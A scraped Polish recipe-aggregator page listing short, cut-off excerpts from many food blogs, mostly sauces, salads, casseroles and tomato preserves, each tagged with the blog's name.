rolach głównych Niestety potrawa nie spełniła pokładanych w niej nadziei... Kurczaka 3 smętne kawałki, jarmużu z lupą niemalże szukać, boczniaka jak na lekarstwo. Czosnku nie dało się wyczuć, sosu i okrasy żadnej. Danie mdłe, bez smaku. W degustacji wygrywała jedynie kasza - ugotowana na sypko i przyjemna w smaku. Gdybym jednak chciała zajadać się samą kaszą bez dodatków - ugotowałabym ją sobie

Grunt to przepis!
Zapiekanki z pieczarkami na bagietce 541

Doprawić wedle upodobań. Bagietkę przekroić na pół. Na każdą nałożyć podsmażone pieczarki z cebulką. Na wierzch posypać stary ser żółty lub poukładać pokrojoną w plastry mozzarellę. Podawać z ulubionymi sosami lub ketchupem. PS.Można dodać również jakąś dobrą kiełbaskę lub szynkę

The Sweet Damsel
Kiełbaski cielęco-szpinakowe z natką pietruszki i pomidorową nutą 190

zobaczyłam je na jednym z blogów siedziały mi w głowie i nie dawały spokoju, aby je przygotować :) W połączeniu z dodatkami mogą stanowić smakowite danie obiadowe (ja pomyślałam o sosie pietruszkowo-cytrynowym i może jeszcze dziś go do nich zrobię, póki są;)). A można je jeść jak ja w tej chwili, gdy piszę przepis - jak normalną kiełbasę, pokrojoną w plasterki

Kolorowy Przepisownik
Naleśniki ze szczypiorkiem 348

miałoby się zmarnować. Pokroiłam w kostkę szynkę, pół papryki czerwonej i pół żółtej, kukurydzę z puszki ( około 4 łyżki), kapustę pekińską ( pokrojoną w paski). Do tego sos czosnkowy u nas niestety gotowy, ale można zrobić tzatziki oraz ketchup. Danie gotowe było w niecałą godzinę. Stasiek zjadł

apetytnapieczenie
SURÓWKA Z OGÓRKIEM, KAPUSTĄ PEKIŃSKĄ I DRESSINGIEM CHRZANOWYM 260

innymi pieczonego kurczaka, pieczone warzywa i wyrazistą surówkę z kapusty pekińskiej, która "chodziła" za mną od kilku tygodni. Surówka będzie idealna do wszelkiego rodzaju pieczonych mięs i sosów. Osoby, które nie lubią chrzanu mogą go pominąć i zastąpić, np. bardzo drobno pokrojonymi natką czy koperkiem (albo ich mieszanką). Polecam :). Nie wiesz, jak sprawnie pokroić kapustę pekińską? Kliknij

Przepisy Aleksandry
TAGINE Z KURCZAKIEM, HARISSĄ, MORELAMI I WARZYWAMI 259

kupienia, bo jest cudowna! Harissa to pasta z chilli, czosnku, kolendry, kminu i niekiedy pomidorów. To taka dużo smaczniejsza wersja naszego przecieru pomidorowego. Można dodawać ją do zup, sosów, marynat, makaronów. Tagine można kupić w sklepach internetowych, ale to dość drogi zakup, więc można zamiennie użyć wolnowaru, garnka z grubszym dnem czy też naczynia żaroodpornego (wtedy danie przygotujecie w piekarniku

Przepisy Aleksandry
Wrocławscy Ulicożercy - Relacja z Festiwalu Food Trucków i Zacnego Piwa 189

się zdecydować na konkretny posiłek, wybraliśmy moją ulubioną pizzę od Happy Little Track . Lepszej margharity nie znajdziecie w całym mieście! Idealne ciasto pieczone w piecu opalanym drewnem, najlepsza mozzarella, sos pomidorowy i świeża bazylia, to jest to, co takie łasuchy jak ja lubią najbardziej. Przemiłej obsłudze po raz kolejny bardzo dziękuję za to, że pozwolili mi wtargnąć z moim obiektywem

Food Square
Spaghetti z kurczakiem, suszonymi pomidorami i groszkiem 249

ognia, dodać śmietanę i dokładnie wymieszać. Ewentualnie doprawić do smaku. Makaron ugotować według instrukcji podanej na opakowaniu. Odcedzić  i dorzucić na patelnię. Wymieszać, tak aby makaron był oblepiony sosem. Podawać od razu

My simple kitchen
Sakiewki naleśnikowe z grzybami 245

Uwielbiam połączenie grzybów i śmietany, i nie ma znaczenia czy będzie to sos do kaszy, makaronu lub ziemniaków czy farsz do naleśników. Tym razem postanowiłam przygotować sakiewki naleśnikowe z grzybami, bo zostało mi trochę naleśników. Danie łatwe do wykonania, a jednocześnie ciekawie wygląda. Można zaskoczyć nim gości lub domowników.   Składniki /4 porcje/: 4 naleśniki 250 g pieczarek

Pasja Smaku
Fasolka szparagowa z boczkiem na ostro 191

Fasolka, fasolka, mogę ją jeść latem na okrągło. Do znudzenia. Dzisiaj przedstawiam wam przepis na fasolkę na ostro w sosie pomidorowym, tylko zastanawiam się czemu do tej pory się on tutaj nie pojawiła, skoro tak bardzo go lubimy? Ale co tam, nie ważne że późno, ważne ze jest i że zdążycie jeszcze ją zrobić nim zniknie ze sklepów. Polecam. Czytaj

Bernika - moj kulinarny pamietnik
.1061. sprawozdanie 194

kochani wybaczcie, ale nie pamiętam które zdjęcie jest czyje :<) Pierwszy przystanek...Głodni po długiej podrózy ruszliśmy do Krowarzywa! U mnie jak zwykle - sprawdzony i ulubiony cieciorex z sosem pomidorowym ♥ Idziemy dalej... Żeby była jasność - tutaj nie wstąpiliśmy :P Nasz przyjaciel Bob (*), który jednak pragnął wolności i gdy tylko na chwilę spuściliśmy go z oka - odleciał w przestworza :( Jeśli gdzieś

breakfast of dreams
Konfitura z aronii, jabłek i pigwowców 198

omletów. Może być też dodatkiem do mięs lub serów. Wykorzystałam ją niedawno jako nadzienie do orkiszowych rogalików . ----------- Podobne: Jabłka na zimę do szarlotki Likier z aronii Jeżyny w sosie własnym

Weekendy w domu i ogrodzie
Kilka pomysłów na... 180

koniec serwuję coś słodkiego, póki lato, póki jeszcze można się lodami chłodzić (a nawet trzeba!)  Miłego dnia.   Ryż z zielona soczewicą, kurczakiem i marchewką w sosie pomidorowym   Marchewkowe curry z ziemniakami i ciecierzycą  Placki cukiniowe z suszonymi pomidorami, posypane ziarnami dyni; pomidor   Naleśniki gryczane z serkiem chrzanowym, szpinakiem, pomidorami i wędzonym łososiem

More food, love and dreams
Śledzie po cygańsku 169

czosnku cukier do smaku Sposób przygotowania: Śledzie kroimy w paski. Ogórki kroimy w paski, cebulę w cienkie piórka. Cebulę solimy, gnieciemy, odstawiamy na 10-15 minut by zmiękła. Przygotować sos: wymieszać keczup, olej, musztardę i czosnek. Wszystko ze sobą połączyć, dodać posiekanej natki pietruszki, wymieszać. Doprawić cukrem i pieprzem. Odstawić do lodówki na kilka godzin, by smaki się przegryzły

Pobite gary Barbary
Schab w piwie (po gdańsku) 203

godziny. Jajka doprawiamy solą i pieprzem. Kotlety obtaczamy w jajku i tartej bułce, smażymy na głębokim oleju. W garnuszku podgrzewamy śmietanę, dodajemy 1 łyżkę estragonu. Doprawiamy solą i pieprzem. Sos zagęszczamy łyżką mąki rozpuszczoną w wodzie. Podgrzaną śmietaną polewamy każdy z kotletów

Pobite gary Barbary
Sałatka z łososiem i sosem miodowo-musztardowym 376

cienkie paski. Wyciskamy sok z dwóch cytryn. Dodajemy do niego miód, musztardę i oliwę z oliwek. Doprawiamy do smaku solą i pieprzem. Wszystkie składniki sałatki mieszamy i polewamy przygotowanym sosem. Inspiracja: http://www.tesco.pl/smaczna-strona/salata-z-wedzonym-lososiem-pomidorkami-koktajlowymi-i-sosem-miodowo-cytrynowym/

Pobite gary Barbary
Makaronowe gniazdka z mielonym 186

podgrzewamy w garnku z 2 łyżkami mąki. Dodajemy pokruszoną kostkę rosołową, zalewamy dwoma szklankami wody. Gdy wszystko się ładnie rozpuści dodajemy koncentrat pomidorowy. Doprawiamy do smaku pieprzem i solą. Sosem Zalewamy makaron z mielonym. Fetę kroimy w kostkę, oliwki przekrawamy na pół. Zapiekankę posypujemy fetą, oliwkami i mozzarellą. Posypujemy dwoma łyżkami ziół prowansalskich. Pieczemy w piekarniku nagrzanym do 180 stopni

Pobite gary Barbary
Sałatka ziemniaczana z kurczakiem i winogronem 201

Rodzynki zalewamy wrzątkiem i odcedzamy. Ziemniaki kroimy w kostkę. Winogrona przekrawamy na pół. Olej pozostały po smażeniu kurczaka mieszamy z majonezem, śmietaną i łyżką curry. Doprawiamy solą i pieprzem. Sos mieszamy ze składnikami sałatki. Sałatkę schładzamy w lodówce

Pobite gary Barbary
Sałatka z kabanosem 401

Składniki: 35 dag kabanosów, 1 czerwona papryka, słoik ogórków konserwowych, puszka kukurydzy, puszka czerwonej fasoli, 25 dag. żółtego sera.; sos: 5 łyżek majonezu, 3 łyżki jogurtu naturalnego, 3 łyżki pikantnego ketchupu, 2 ząbki czosnku, 2 łyżeczki słodkiej papryki, sól i pieprz do smaku. Sposób przygotowania: Kabanosy kroimy w plasterki. Ogórki, paprykę kroimy kostkę. Ser ścieramy na tarce na grubych oczkach

Pobite gary Barbary
Cukinia z kuskusem i tuńczykiem 181

wydrążamy środek pozbawiając ją pestek. Solimy ją i pieprzymy. Kuskus przygotowujemy według przepisu na opakowaniu. Tuńczyka rozdrabniamy. Paprykę, suszone pomidory kroimy w kostkę (zalewę zachowujemy). Wszystkie składniki mieszamy. Przygotowujemy sos. 5 łyżek zalewy z pomidorów mieszamy z sokiem z cytryny, ziołami i przeciśniętym przez praskę czosnkiem. Solimy i pieprzymy do smaku. Mieszamy ze składnikami nadzienia. Farszem wypełniamy cukinię, podypujemy startą

Pobite gary Barbary
Ketchupowe żeberka z brzoskwinią 227

tłuszczu pozostałym od żeberek do czasu aż zmięknie. Wykładamy na żeberka. Brzoskwinie kroimy w kostkę. Dodajemy do żeberek. Ketchup mieszamy z zalewą pozostałą od brzoskwiń. Żeberka polewamy powstałym sosem. Posypujemy tymiankiem. Wstawiamy do piekarnika nagrzanego do 200 stopni C. Pieczemy ok. 1,5 godziny

Pobite gary Barbary
Szynka w pomidorach na sposób śródziemnomorski 194

plastry szynki * sól, pieprz * 1 duża cebula * 5 pomidorów * 5 ogórków konserwowych * szklanka bulionu (może być z kostki) * tłuszcz do smażenia Marynata: * 4 łyżki oliwy z oliwek * 2 łyżki sosu sojowego * łyżka oregano * łyżka tymianku * łyżka miodu * sok z 1 pomarańczy * 2 ząbki czosnku * łyżeczka ostrej musztardy Sposób przygotowania: Szynkę delikatnie rozbijamy tłuczkiem. Solimy i pieprzymy z każdej strony. Składniki

Pobite gary Barbary
Kurczak w porach z ananasem 198

kostkę.  Ketchup mieszamy z majonezem. Dodajemy sok z ananasa. Na dnie naczynia żaroodpornego wykładamy połowę pora. Kładziemy na to mięso. Przykrywamy resztą pora wymieszaną z ananasem. Polewamy sosem. Pieczemy pod przykryciem ok. 45 minut w temperaturze 180 stopni

Pobite gary Barbary
Sałatka z kalafiorem i oliwkami 179

wodzie. Studzimy.  Oliwki przekrawamy na pół. Pieczarki kroimy w plasterki a jajka, ogórki i pomidory w kostkę. Ketchup mieszamy z majonezem. Wszystkie składniki sałatki mieszamy ze sobą. Polewamy sosem. Posypujemy posiekaną natką pietruszki. Źródło: "123 sałatki i surówki Siostry Anastazji"- z moimi zmianami

Pobite gary Barbary
Zapiekanka ryżowa z warzywami 164

pokrojone w plasterki pieczarki. Podsmażamy do czasu aż pieczarki odparują nadmiar wody. Kremówkę mieszamy z jajkami, serem. Doprawiamy vegetą. Naczynie żaroodporne smarujemy tłuszczem. Ryż, warzywa mieszamy razem. Całość zalewamy sosem. Zapiekamy 30 minut w temperaturze 180 stopni

Pobite gary Barbary
Pierś w czosnkowym sosie 181

każdej strony. Pomidorki przekrawamy na pół. Jogurty mieszamy z przeciśniętym przez praskę czosnkiem. Doprawiamy do smaku solą i pieprzem. Na dno naczynia żaroodpornego wykładamy piersi. Układamy pomidorki, zalewamy sosem. Posypujemy rozmarynem. Pieczemy ok. 30 min. w 180 stopniach

Pobite gary Barbary
Cukinia faszerowana indykiem 210

praskę. Warzywa podsmażamy na oliwie. Kiedy zmiękną dodajemy mięso. Smażymy ok. 10 minut, aż straci smak surowizny. Dodajemy koncentrat pomidorowy i szklankę wody. Podsmażamy jeszcze ok. 5 minut aż sos ładnie zgęstnieje. Wrzucamy ryż i posiekaną drobno pietruszkę. Doprawiamy do smaku solą, pieprzem i słodką papryką. Cukinie przekrawamy wzdłuż. Wydrążamy środki i napełniamy przygotowanym farszem. Układamy na blaszce wyłożonej papierem

Pobite gary Barbary
Tatar z łososia po azjatycku 255

SKŁADNIKI 300 g surowego łososia skórka z 1/2 limonki 1/6 papryki żółtej 1/6 papryki zielonej 1/6 papryki czerwonej 1/3 pęczka natki pietruszki 1 łyżka słodko- pikantnego sosu chilli TaoTao 1 łyżka soku z limonki sól i pieprz do smaku PRZYGOTOWANIE Rybę drobno posiekaj. Warzywa dokładnie umyj i również bardzo drobno posiekaj. Sparz skórkę z limonki i zetrzyj na tarce

ClauditteMissCooking
Owsianka z chia (bez gotowania) 194

poczekać.  Czyszczę przedwojenne sztućce, słucham muzyki i oglądam filmy, czyli ostatni tydzień wakacji w wykonaniu Magdy. Owsianka jogurtowa z nasionkami szałwii hiszpańskiej - chia, bez gotowania; podana z sosem truskawkowym Przepis: własny / 1 porcja / składniki: 40 g płatków owsianych błyskawicznych lub górskich łyżka nasion szałwii hiszpańskiej, chia pół szklanki jogurtu naturalnego - około 120 g 50 ml mleka jak zrobić? Jogurt

tost z dżemem
Sałatka z ziemniaków 242

Ogórki pokroić w pół talarki. Majonez zmiksować z musztardą i cukrem, doprawić do smaku solą i pieprzem. W misce delikatnie wymieszać ziemniaki z jajkiem, ogórkiem i cebulą. Dodać przygotowany sos i dokładnie wymieszać. Posypać świeżym posiekanym koperkiem. Sałatka z ziemniaków świetnie pasuje do dań z grilla. Podobne przepisy Sałatka z pomidorków słodko-kwaśna i ogórka i chil... Sałatka z krewetek

Pociąg Do Kuchni
Pomidory faszerowane mięsem 205

czosnku, dodajemy mięso, sól, pieprz, cukier, paprykę słodką oraz chili i podsmażamy kolejne 5 minut. Dodajemy posiekane środki pomidorów oraz posiekaną pietruszkę i podsmażamy do wyparowania prawie całego sosu. Pomidory napełniamy tak przygotowanym farszem. Na górze farszu kładziemy plasterek mozzarelli. Pomidory przykrywamy odkrojonym kapeluszem. Do naczynia żaroodpornego wlewamy łyżkę oliwy i 2 łyżki wody. Układamy w nim pomidory i wkładamy

Smak mojego domu
Sałatka z ogórków gruntowych 369

łyżki soku z cytryny sól pieprz Wykonanie: Oliwę, sok z cytryny oraz resztę przypraw wymieszać. Ogórki umyć i pokroić w plastry. Szczypior umyć i posiekać. Do ogórków dodać szczypior, sos i wszystko wymieszać

Mama Gotuje
Tortilla patatas z chorizo 165

smażyć z drugiej strony. Tortilla patatas może być samodzielnym daniem. Jeśli użyliście pikantnego chorizo, można podać z mizerią (Hiszpanie też jadają ogórki ze śmietaną).   ------------ Podobne: Makaron w sosie carbonara Omlet ze szparagiem Kwiaty robinii w cieście Skoro wspomniałam wcześniej o Lloret de Mar na wybrzeżu Costa Brava i Barcelonie, to dołączam zdjęcia z tych miejsc. Panorama Barcelony; w centrum

Weekendy w domu i ogrodzie
Chifferi rigati z wędzonym łososiem i pieczarkami 190

solą morską. Gotujemy chifferi w dużej ilości osolonej wody. Rzecz jasna la dente. Odcedzamy i dokładamy do naszego łososia w śmietanie z pieczarkami. Mieszamy szybciutko,łączymy wszystko razem. Sos wleje nam się do kolanek, co sprawi, że danie będzie jeszcze bardziej aromatyczne. Podajemy z drobno siekana natką pietruszki. Kto chce dodaje parmezan. I danie gotowe! Można posypać delikatnie czarnym sezamem

Z Kuchni Do Kuchni
Kopytka dyniowe w sosie grzybowym 165

dużym dodatkiem dyni. Lżejsze, zdrowsze a przede wszystkim o nowym, interesującym smaku. Bardzo dobrze sprawdzają się z mięsem, a nawet na słodko. W tym przepisie podamy je razem z sosem grzybowym

Milion Smaków
Bazyliowe kopytka 155

muszę nikogo przekonywać, prawda  ? Na pewno pojawiają się często na stole w każdym polskim domu. U mnie też dosyć często goszczą w duecie z mięsnym lub pieczarkowym sosem. Dziś postanowiłam je troszkę odmienić i do ciasta dodać świeżą bazylię. Od razu zapachniało mi Włochami, więc zjadłam je z odrobiną oliwy z oliwek i starego świeżo parmezanu. Mówię Wam - pycha

Kulinarne przygody Gatity
Śledzie z bryndzą 216

bryndzy. Dodałem posiekany szczypiorek, groszek i pokrojoną w kostkę paprykę i ocet. Schłodziłem w lodówce. Śledzie po opłukaniu i osuszeniu pokroiłem na kawałki, ułożyłem na półmisku i polałem sosem. Przykryłem folią, wstawiłem do lodówki na 3 godziny. Przed podaniem udekorowałem paskami cytryny i szczypiorkiem

R'n'G Kitchen
Czosnkowe ziemniaki z piekarnika 218

Przygotowane ziemniaki wstawić do piekarnika. Zapiekać około 35-40 minut w 195ºC . 5-10 minut przed końcem pieczenia, do ziemniaków dodać plasterki czosnku. Podawać z masłem lub ulubionym sosem

Ugotować
Filety z udek kurczaka z kaszą gryczaną (porcja - ok. 400 kcal) 231

niezbędne ;) Kaloryczność:  Porcja (zdjęcie) - ok. 400 kcal (bez kaszy - ok. 230) Udka w smaku przypominają maślanego kurczaka, którego kiedyś robiła moja mama. Zawsze maczałam chlebek w tym pysznym sosie... mmm... taka namiastka smaku dzieciństwa :) Smacznego! :)  Do zobaczenia wkrótce. Kolejny przepis: Marchewkowy a la tort z kremem cytrynowym

Malowane smakiem
Przecier pomidorowy 225

pomidorów, brak w nim ulepszaczy czy też chemicznych barwników.  Nie jest trudny do wykonania ale trochę pracochłonny. Słoiczki wystarczy zapasteryzować i jesienną bądź zimową porą delektować się przepysznym sosem bądź zupą pomidorową np z dodatkiem domowego makaronu ?  Polecam ;)  Składniki: 3 kg dojrzałych, świeżych pomidorów sok wyciśnięty z połowy cytryny  szczypta soli do smaku

Krakowskie smaki Ani
Zielone Raviolini Kukuruku 179

mąki kukurydzianej 1 jajko ciepła woda Składniki na farsz 200g jarmużu ser mozzarella z zalewy, ok 150g 1 ugotowany ziemniak 2 łyżeczki zielonego pesto 1-2 ząbki czosnku sól Sos zielone pesto oliwa z oliwek 2-3 ząbki czosnku Przygotowanie Zaczynamy od ciasta. Mąki przesiewamy, dodajemy jajko i stopniowo dolewamy ciepłej wody, aż będzie odchodzić od dłoni i stanie się

Karczma Honorietty
Kulanki gruszkowe 180

lubię! Składniki na ciasto 400g ziemniaków 180g mąki orkiszowej 50g masła 4 łyżki kaszy manny 3 jajka sól Składniki na farsz 1-2 gruszki cukier Składniki na sos 1 gruszka kilka listków melisy 2 łyżeczki soku z cytryny oliwa/olej cynamon do smaku otarta skórka z cytryny Przygotowanie Przecisnąć przez praskę ugotowane, ciepłe ziemniaki. Dodać do nich resztę składników (masło dobrze

Karczma Honorietty
Nadziany kaszą jęczmienną patison 170

czasu na pieczeniu, to wszystko szybciej się zrobiło. Gdybyśmy nadziali go na początku, to potrzebował by znacznie więcej minut by zmięknąć. Można go jeść jako samodzielne danie, z ulubionym sosem np. tzatziki lub jako dodatek do sałatki

Karczma Honorietty
Hamburgerowe buły 166

Muszę przyznać, że Hońka stała się fanem domowych burgerów. I to 100% racja, że kto raz spróbuje takich prawdziwych hamburgsów, z prawdziwym kotletem i ulubionym sosem - to już nigdy nie zapragnie zmiany. Chyba już to pisałam. Tak więc wróćmy do sedna tego wpisu. Tutaj chodzi o bułę. Może gra drugoplanową rolę, ale bez niej całe burgerowe przedstawienie by nie miało

Karczma Honorietty
przecier pomidorowy 238

pomidorów nie jest pracochłonne.  Taki przecier zrobiony z dojrzałych dorodnych pomidorów( innych przecież byśmy sami dla siebie nie wybrali) ,daje nam stuprocentowa gwarancje, że z jego pomocą, zwykły sos zmienimy w prawdziwe dzieło kulinarnej sztuki.  Składniki dowolna ilość pomidorów ( najlepiej niewielkich mięsistych, gruntowych) sól olej, lub oliwa ewentualnie ulubione dodatki takie jak: bazylia tymianek sposób przygotowania Zaczynamy

Miód i pieprz
DYNIA JAKO AFRODYZJAK I NIE TYLKO – mnóstwo ciekawostek! 209

Stanów Zjednoczonych, a jej owoce ważą zwykle od 2-4 kg. Po ugotowaniu jej miąższ rozpada się na pasemka, które wyglądem przypominają makaron. Najlepiej nadaje się do sosów, a także do przygotowania dyni w occie. . JAK OBIERAĆ DYNIĘ Dynię należy przekroić na pół, wydrążyć nasiona i całość pokroić na mniejsze kawałki. Następnie za pomocą noża lub obieraczki do warzyw obieramy

Ostra na Słodko
.1059. na wynos 182

omlet migdałowy z morelami i malinami, podany z sosem kakaowym~ Dzisiaj wszystko na szybko - omlet usmazony chwilę temu, zjedzony zostanie w pracy, pachnie cudnie i zapowiada się smacznie :D Wyładowany owocami :) Wczoraj cudownie spędziłam dzień! Wraz z innymi 15 blogger(k)ami spotkałam się w Warszawie - było świetnie, mieliśmy niestety dla siebie jedynie 6 godzin, który minęły błyskawicznie... :( Ze sobą

breakfast of dreams
Domowy przecier pomidorowy 170

Najlepsza zupa pomidorowa według mnie to taka ze świeżych pomidorów. Przez cały weekend wekowałam przecier i robiłam inne przetwory, aby zimą móc delektować się smakiem zupy pomidorowej czy sosu pomidorowego bez konserwantów i chemii. Składniki: 4 kg pomidorów 1 łyżka soli (lub według własnych potrzeb) Pomidory umyć i pokroić na mniejsze kawałki. Wszystko wrzucić do dużego rondla i gotować

O kuchni z uczuciem
Surówka z sosem winegret 201

Szybka i smaczna surówka.. ogórek sałata pomidor papryka marchewka sos 3 łyżki octu winnego  9 łyżek oliwy 1 łyżeczka musztardy 3 ząbki czosnku sól , pieprzu Do kubka lub miseczki wsypać sól i pieprz , dodać przeciśnięty przez praskę czosnek, dodać ocet i musztardę i mieszać .Ciągle mieszając dodać powoli oliwę . Wymieszać z pokrojonymi warzywami

Moje domowe kucharzenie
Kurczak curry 228

czosnkiem i cebulą przekładamy do garnka z kurczakiem i warzywami. Mieszamy. Dolewamy passatę pomidorową lub pokrojone pomidory oraz starty na tarce o drobnych oczkach imbir. Jeśli jest potrzeba (mało sosu), dodajemy pół szklanki wody.  Przyprawiamy całość pastą lub przyprawą curry. Można pokusić się o własne przygotowanie mieszanki, nie jest to zbyt skomplikowane, a można pominąć składniki, których się

bistro mama
Tort gołąbkowy 276

bazylią. 5. Rozgrzewamy piekarnik (200 stopni). Na spód tortownicy wykładamy szczelnie warstwę z połowy kapusty, na nią nakładamy mięso z ryżem przykrywamy drugą częścią kapusty i powoli zalewamy sosem pomidorowym.  6. Pieczemy 30 minut. W razie potrzeby trzeba przykryć wierzch tortu. Mmm Pycha

NA MOIM TALERZU
Rumiane placki z cukinii 288

złoty kolor - po ok. 2 minuty z każdej strony. Po usmażeniu placki wyłożyć na ręcznik kuchenny, by pozbyć się nadmiaru tłuszczu. Podawać gorące - same, z łyżką śmietany lub z sosem na jej bazie, np. pieczarkowym

W SMAK
Burgery z kaczki 215

upieczone na grillu będą jeszcze lepsze.  składniki 500 g - 2x kacza pierś 1 łyżeczka startego świeżego imbiru garść kolendry 2-3 ząbki czosnku - przeciśnięty przez praskę 2 łyżeczki sosu hoisin 1/2 łyżeczki płatków paprykowych sól, pieprz cytrynowy przygotowanie kacze piersi umyć i osuszyć. Oddzielić skórę , odłożyć na bok. Mięso zmielić w maszynce używając sitka o większych oczkach (średnica

Stare Gary
Pikantne ziemniaki zapiekane w mleku 188

opłukać i osuszyć. Pokroić w niezbyt grube plastry. Formę do zapiekania wysmarować masłem. Ułożyć w niej ukośnie plastry ziemniaków w taki sposób, żeby zachodziły jeden na drugi. Przygotować mleczny sos: Dymkę wraz ze szczypiorem posiekać. Czosnek obrać i również posiekać. Papryczkę opłukać i pokroić w cieniutkie, niewielkie paseczki lub również posiekać.  Wszystko dodać do mleka wraz z solą

Codzienna kuchnia niecodzienna
młoda kapusta zasmażana z boczkiem 137

solimy i dusimy. Boczek oraz cebulę kroimy w kostkę i podsmażamy. Następnie dodajemy kapustę, mieszamy, doprawiamy w razie potrzeby solą, pieprzem oraz cukrem. Dodajemy mąkę. Podsmażamy jeszcze chwilę, aż sos się zagęści. Następnie dodajemy posiekany koperek i podajemy

Domowy Smak Jedzenia
Smażone, chrupiące, placki z cukinii 255

jednej strony , po czym przekładamy na drugą . Placuszki zdejmujemy z patelni na papierowy ręcznik ,żeby odprowadzić nadmiar oleju . Gotowe , są chrupiące i pyszne , szczególnie pasują do nich wszelkiego rodzaju sosy i dipy jogurtowe . Post Smażone, chrupiące, placki z cukinii pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Pietruszka - zielona moc natury 208

zaspokaja nieomal wszystkie nasze potrzeby witaminowe . Natka pietruszki ułatwia przyswajanie żelaza ( nawet 2-4 krotnie) z innych produktów, zarówno roślinnych, jak i zwierzecych. Świeże ziele pasuje do zup i sosów, ryb, masła ziołowego, twarogu i grzybów. Nadaje się prawie do wszystkich mieszanek ziołowych, równiez do suszenia i mrożenia. Uwagi: Jedynie osoby ze schorzeniami nerek i kobiety w ciąży powinny ograniczyc

Gotuj zdrowo!Guten Appetit!
Pieczona szynka 209

tych przygotowanych w domu, tym bardziej zadziwiają mnie różnice smakowe w zestawieniu z tymi sklepowymi. Zwłaszcza, jeżeli chodzi o konsystencję. Tę szynkę zjeść można na ciepło z brązowym sosem pieczeniowym lub na zimno, do kanapek właśnie :) (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Życie zamknięte w smaku
Prosty sposób na przecier pomidorowy. 168

skórkę. Poukładaj ciasno w słoikach. Do każdego słoika wsyp trochę soli ( około 1/2 łyżeczki ). Słoiki szczelnie zamknij wieczkami. Pasteryzuj około 40-50 minut. Gdy chcesz je dodać do zupy, sosu lub fasolki po bretońsku zmiksuj je dokładnie na jednolitą masę. Jest to bardzo prosty i nie wymagający dużo pracy sposób na przecier pomidorowy. Polecam

Przepisy i porady kulinarne
Makaron z cukinią 2.0, LAF - dzień II 330

tutaj , tylko po odstawieniu sosu z ognia, dodaj 2 łyżki zwykłej lub roślinnej śmietany. Smakuje jeszcze lepiej. Smacznego! Arisan: zgromadzenie  (2003, Nia Di Nata; na Filmwebie film znajdziemy pod tytułem  Losowanie ): arisan to comiesięczne spotkania społeczne grupy przyjaciół i krewnych, podczas których metodą składkową organizowane są małe loterie, decydujące o wygraniu zgromadzonej puli. Popularny szczególnie wśród gospodyń domowych

Qlinarnie i Qlinarnie
Błyskawiczny sos pomidorowy + film 174

Błyskawiczny sos pomidorowy na bazie soku jest świetnym dodatkiem do pizzy, gołąbków czy makaronu, doskonałym pomysłem dla osób zabieganych lubiących ekspresowe i proste potrawy  jest mega  pyszny, aksamitny i aromatyczny. składniki na 2 porcje 1 łyżka masła 1 łyżka mąki pszennej 250 ml soku pomidorowego szczypta cukru szczypta bazylii sól przepis W garnku małym ogniu rozpuszczamy masło, wsypujemy

Smakowite Dania
MIRUNA W PŁATKACH KUKURYDZIANYCH 204

Kupiłam mega duży filet za bardzo małe pieniądze. Miruna, jest chyba jedną z lepszych ryb, ma bardzo delikatne białe, kruche mięso i smakuję pod każdą postacią - czy to w sosie czy pieczona czy marynowana. Moja jest smażona w płatkach kukurydzianych.  Składniki: filet miruny  jajko  3/4 szklanki płatków kukurydzianych  oliwa do smażenia  sól,pieprz cytynowy Sposób

pieprzny smaczek
Sałatka z grillowanym ananasem, serkiem burgos i jeżynami 187

warzywami bo szybko się przygotowuje, są pyszne i kolorowe. Szczególnie ja bardzo lubię połączenie owoców z mięsem czy serem. Trochę świeżych liści, soczyste owoce, delikatny twarożek i pełen smaku sos - to przepis na wyśmienitą, letnią sałatkę. Do kilku kawałków ananasa nie rozpalałam grilla - upiekłam je na patelni grillowej, ale kiedy będziecie piec mięso na ruszcie dołóżcie też plastry tego owocu

Smaczna Pyza
.1055. warzywne brownie 152

brownie z cukinii z domowym dżemem truskawkowym~ Pomysł na letni, lekki i smaczny obiad?  Wegańskie kotlety z bobu + dietetyczny sos kurkowy! <3  KLIK po przepis

breakfast of dreams
Sok pomidorowy z czosnkiem bazylią i chili 222

przerabiam pomidory i robię przecier  lub pomidory w sosie własnym wyciskam  z pomidorów sok wraz z gniazdami nasiennymi  Z tego soku robię takie cudeńko do picia  Ulubiony sok mojego męża Składniki • Sok wyciśnięty z pomidorów z gniazdami nasiennymi ok 5 l • 1 główka czosnku • 2 łyżki bazylii • sól • pieprz •1- 2 papryczki chili Sposób przygotowania

W królestwie smaków Beaty
Kluski jaglane z rukolą 196

nikogo przekonywać nie muszę chyba, a jest ono wielkie więc warto włączyć ją do naszego jadłospisu na wszelakie sposoby. Choćby na takie kluseczki, pyszne i aromatyczne a podane z sosem jogurtowym smakują wybornie jako samodzielne danie. Kluski jaglane z rukolą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Ćwiartki kurczaka z duszonym groszkiem i cebulkami oraz sałatka z selera naciowego i jabłek z dodatkiem orzechów włoskich 205

kiełki i orzechy włoskie.  Składniki na dressing: - 3 łyżki majonezu - 2 łyżki jogurtu greckiego - szczypta soli - 1 łyżka soku z cytryny Przygotowanie dressingu: Mieszamy wszystko razem i polewamy sosem sałatkę. Możemy także podać dressing w osobnym naczyniu. Wszystko smakuje obłędnie, serio serio. Musicie koniecznie tego spróbować ;)! Smacznego i do napisania wkrótce! Zainspirowane: "Szef kuchni po godzinach" Gordona Ramsay

Życie zamknięte w smaku
Kurczak panierowany w orzechach włoskich i sałata z ziołowo-czosnkowym vinegretem 188

sól - pieprz Przygotowanie vinegretu: W wysokim naczyniu umieszczamy składniki płynne. Czosnek wyciskamy przez praskę, a zioła szatkujemy. Dodajemy przyprawy. Całość miksujemy. Odstawiamy do lodówki na 20 minut. Warzywa polewamy sosem tuż przed podaniem. Voila! Smacznego i do napisania wkrótce! ;) (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Życie zamknięte w smaku
Wytrawna tarta z karczochem, piersią kurczaka, wędzonym boczkiem i białym winem PRZEPYSZNA! 182

